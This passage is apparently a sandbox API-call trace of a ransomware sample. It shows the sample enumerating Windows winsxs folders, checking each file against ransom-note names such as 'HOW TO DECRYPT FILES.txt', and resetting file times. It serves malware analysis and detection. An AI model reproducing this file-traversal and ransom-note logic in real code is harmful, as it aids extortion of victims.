lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_prov_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6eabfbd9c29ea607\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_prov_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6eabfbd9c29ea607\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_prov_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6eabfbd9c29ea607\\" [0165.728] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_prov_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6eabfbd9c29ea607\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_prov_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6eabfbd9c29ea607\\") returned="" [0165.729] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.729] CloseHandle (hObject=0xffffffff) returned 0 [0165.730] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c07371, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb0c07371, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x90fbbbcb, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x584, dwReserved0=0x0, dwReserved1=0x0, cFileName="manageconsolidatedProviders.aspx.resx", cAlternateFileName="MANAGE~1.RES")) returned 1 [0165.730] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.730] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="manageconsolidatedProviders.aspx.resx") returned -1 [0165.730] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="manageconsolidatedProviders.aspx.resx") returned -1 [0165.730] lstrcmpiA (lpString1="", lpString2="manageconsolidatedProviders.aspx.resx") returned -1 [0165.730] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_prov_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6eabfbd9c29ea607\\chooseProviderManagement.aspx.resx") returned="chooseProviderManagement.aspx.resx" [0165.730] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_prov_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6eabfbd9c29ea607\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_prov_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6eabfbd9c29ea607\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_prov_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6eabfbd9c29ea607\\" [0165.730] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_prov_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6eabfbd9c29ea607\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_prov_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6eabfbd9c29ea607\\") returned="" [0165.730] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.730] CloseHandle (hObject=0xffffffff) returned 0 [0165.731] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0cc5a42, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb0cc5a42, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x90fbbbcb, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x910, dwReserved0=0x0, dwReserved1=0x0, cFileName="manageProviders.aspx.resx", cAlternateFileName="MANAGE~2.RES")) returned 1 [0165.731] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.731] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="manageProviders.aspx.resx") returned -1 [0165.731] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="manageProviders.aspx.resx") returned -1 [0165.731] lstrcmpiA (lpString1="", lpString2="manageProviders.aspx.resx") returned -1 [0165.731] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_prov_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6eabfbd9c29ea607\\manageconsolidatedProviders.aspx.resx") returned="manageconsolidatedProviders.aspx.resx" [0165.731] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_prov_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6eabfbd9c29ea607\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_prov_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6eabfbd9c29ea607\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_prov_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6eabfbd9c29ea607\\" [0165.731] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_prov_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6eabfbd9c29ea607\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_prov_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6eabfbd9c29ea607\\") returned="" [0165.731] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.732] CloseHandle (hObject=0xffffffff) returned 0 [0165.732] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0d11cfc, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb0d11cfc, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x90fe1d29, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x3f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="providerList.ascx.resx", cAlternateFileName="PROVID~1.RES")) returned 1 [0165.732] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.732] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="providerList.ascx.resx") returned -1 [0165.732] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="providerList.ascx.resx") returned -1 [0165.732] lstrcmpiA (lpString1="", lpString2="providerList.ascx.resx") returned -1 [0165.732] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_prov_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6eabfbd9c29ea607\\manageProviders.aspx.resx") returned="manageProviders.aspx.resx" [0165.732] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_prov_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6eabfbd9c29ea607\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_prov_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6eabfbd9c29ea607\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_prov_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6eabfbd9c29ea607\\" [0165.732] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_prov_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6eabfbd9c29ea607\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_prov_res_b03f5f7f11d50a3a_6.1.7600.16385_none_6eabfbd9c29ea607\\") returned="" [0165.733] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.733] CloseHandle (hObject=0xffffffff) returned 0 [0165.733] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0d11cfc, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb0d11cfc, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x90fe1d29, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x3f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="providerList.ascx.resx", cAlternateFileName="PROVID~1.RES")) returned 0 [0165.734] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0165.735] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1134fc6a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x11375dc4, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x11375dc4, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="amd64_netfx-aspnet_webadmin_res_res_b03f5f7f11d50a3a_6.1.7600.16385_none_88c53c175f60c188", cAlternateFileName="AM4742~1.163")) returned 1 [0165.735] lstrcmpA (lpString1=".", lpString2="amd64_netfx-aspnet_webadmin_res_res_b03f5f7f11d50a3a_6.1.7600.16385_none_88c53c175f60c188") returned -1 [0165.735] lstrcmpA (lpString1="..", lpString2="amd64_netfx-aspnet_webadmin_res_res_b03f5f7f11d50a3a_6.1.7600.16385_none_88c53c175f60c188") returned -1 [0165.735] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\*.*") returned="*.*" [0165.735] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_res_res_b03f5f7f11d50a3a_6.1.7600.16385_none_88c53c175f60c188\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1134fc6a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x11375dc4, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x11375dc4, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.738] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.738] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1134fc6a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x11375dc4, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x11375dc4, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.738] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.739] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.739] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf863f7d, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xaf863f7d, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x90447285, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x309, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="AppConfigCommon.resx", cAlternateFileName="APPCON~1.RES")) returned 1 [0165.739] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.739] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AppConfigCommon.resx") returned 1 [0165.739] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AppConfigCommon.resx") returned 1 [0165.739] lstrcmpiA (lpString1="", lpString2="AppConfigCommon.resx") returned -1 [0165.739] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_res_res_b03f5f7f11d50a3a_6.1.7600.16385_none_88c53c175f60c188\\*.*") returned="*.*" [0165.739] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_res_res_b03f5f7f11d50a3a_6.1.7600.16385_none_88c53c175f60c188\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_res_res_b03f5f7f11d50a3a_6.1.7600.16385_none_88c53c175f60c188\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_res_res_b03f5f7f11d50a3a_6.1.7600.16385_none_88c53c175f60c188\\" [0165.739] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_res_res_b03f5f7f11d50a3a_6.1.7600.16385_none_88c53c175f60c188\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_res_res_b03f5f7f11d50a3a_6.1.7600.16385_none_88c53c175f60c188\\") returned="" [0165.739] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.740] CloseHandle (hObject=0xffffffff) returned 0 [0165.740] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf88a0da, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xaf88a0da, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x90493541, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x10fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="GlobalResources.resx", cAlternateFileName="GLOBAL~1.RES")) returned 1 [0165.740] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.740] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="GlobalResources.resx") returned -1 [0165.740] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="GlobalResources.resx") returned 1 [0165.740] lstrcmpiA (lpString1="", lpString2="GlobalResources.resx") returned -1 [0165.740] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_res_res_b03f5f7f11d50a3a_6.1.7600.16385_none_88c53c175f60c188\\AppConfigCommon.resx") returned="AppConfigCommon.resx" [0165.741] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_res_res_b03f5f7f11d50a3a_6.1.7600.16385_none_88c53c175f60c188\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_res_res_b03f5f7f11d50a3a_6.1.7600.16385_none_88c53c175f60c188\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_res_res_b03f5f7f11d50a3a_6.1.7600.16385_none_88c53c175f60c188\\" [0165.741] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_res_res_b03f5f7f11d50a3a_6.1.7600.16385_none_88c53c175f60c188\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_res_res_b03f5f7f11d50a3a_6.1.7600.16385_none_88c53c175f60c188\\") returned="" [0165.741] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.741] CloseHandle (hObject=0xffffffff) returned 0 [0165.741] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf88a0da, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xaf88a0da, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x90493541, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x10fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="GlobalResources.resx", cAlternateFileName="GLOBAL~1.RES")) returned 0 [0165.742] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0165.743] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11375dc4, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x11375dc4, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x11375dc4, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="amd64_netfx-aspnet_webadmin_roles_b03f5f7f11d50a3a_6.1.7600.16385_none_02a1a2d949085578", cAlternateFileName="AM996B~1.163")) returned 1 [0165.743] lstrcmpA (lpString1=".", lpString2="amd64_netfx-aspnet_webadmin_roles_b03f5f7f11d50a3a_6.1.7600.16385_none_02a1a2d949085578") returned -1 [0165.743] lstrcmpA (lpString1="..", lpString2="amd64_netfx-aspnet_webadmin_roles_b03f5f7f11d50a3a_6.1.7600.16385_none_02a1a2d949085578") returned -1 [0165.743] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\*.*") returned="*.*" [0165.743] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_roles_b03f5f7f11d50a3a_6.1.7600.16385_none_02a1a2d949085578\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11375dc4, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x11375dc4, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x11375dc4, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.745] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.745] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11375dc4, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x11375dc4, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x11375dc4, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.745] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.745] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.745] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1057afa, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb1057afa, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9134dc9b, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x1c26, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="manageAllRoles.aspx", cAlternateFileName="MANAGE~1.ASP")) returned 1 [0165.746] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.746] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="manageAllRoles.aspx") returned -1 [0165.746] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="manageAllRoles.aspx") returned -1 [0165.746] lstrcmpiA (lpString1="", lpString2="manageAllRoles.aspx") returned -1 [0165.746] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_roles_b03f5f7f11d50a3a_6.1.7600.16385_none_02a1a2d949085578\\*.*") returned="*.*" [0165.746] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_roles_b03f5f7f11d50a3a_6.1.7600.16385_none_02a1a2d949085578\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_roles_b03f5f7f11d50a3a_6.1.7600.16385_none_02a1a2d949085578\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_roles_b03f5f7f11d50a3a_6.1.7600.16385_none_02a1a2d949085578\\" [0165.746] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_roles_b03f5f7f11d50a3a_6.1.7600.16385_none_02a1a2d949085578\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_roles_b03f5f7f11d50a3a_6.1.7600.16385_none_02a1a2d949085578\\") returned="" [0165.746] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.746] CloseHandle (hObject=0xffffffff) returned 0 [0165.747] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb107dc57, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb107dc57, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x91373df9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x2536, dwReserved0=0x0, dwReserved1=0x0, cFileName="manageSingleRole.aspx", cAlternateFileName="MANAGE~2.ASP")) returned 1 [0165.747] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.747] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="manageSingleRole.aspx") returned -1 [0165.747] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="manageSingleRole.aspx") returned -1 [0165.747] lstrcmpiA (lpString1="", lpString2="manageSingleRole.aspx") returned -1 [0165.747] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_roles_b03f5f7f11d50a3a_6.1.7600.16385_none_02a1a2d949085578\\manageAllRoles.aspx") returned="manageAllRoles.aspx" [0165.747] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_roles_b03f5f7f11d50a3a_6.1.7600.16385_none_02a1a2d949085578\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_roles_b03f5f7f11d50a3a_6.1.7600.16385_none_02a1a2d949085578\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_roles_b03f5f7f11d50a3a_6.1.7600.16385_none_02a1a2d949085578\\" [0165.747] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_roles_b03f5f7f11d50a3a_6.1.7600.16385_none_02a1a2d949085578\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_roles_b03f5f7f11d50a3a_6.1.7600.16385_none_02a1a2d949085578\\") returned="" [0165.747] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.747] CloseHandle (hObject=0xffffffff) returned 0 [0165.748] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb107dc57, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb107dc57, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x91373df9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x2536, dwReserved0=0x0, dwReserved1=0x0, cFileName="manageSingleRole.aspx", cAlternateFileName="MANAGE~2.ASP")) returned 0 [0165.748] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0165.749] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11375dc4, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x11375dc4, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x11375dc4, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="amd64_netfx-aspnet_webadmin_roles_res_b03f5f7f11d50a3a_6.1.7600.16385_none_1487ae3ac19b400f", cAlternateFileName="AM0905~1.163")) returned 1 [0165.749] lstrcmpA (lpString1=".", lpString2="amd64_netfx-aspnet_webadmin_roles_res_b03f5f7f11d50a3a_6.1.7600.16385_none_1487ae3ac19b400f") returned -1 [0165.749] lstrcmpA (lpString1="..", lpString2="amd64_netfx-aspnet_webadmin_roles_res_b03f5f7f11d50a3a_6.1.7600.16385_none_1487ae3ac19b400f") returned -1 [0165.749] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\*.*") returned="*.*" [0165.749] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_roles_res_b03f5f7f11d50a3a_6.1.7600.16385_none_1487ae3ac19b400f\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11375dc4, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x11375dc4, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x11375dc4, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.752] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.752] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11375dc4, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x11375dc4, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x11375dc4, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.752] lstrcmpA 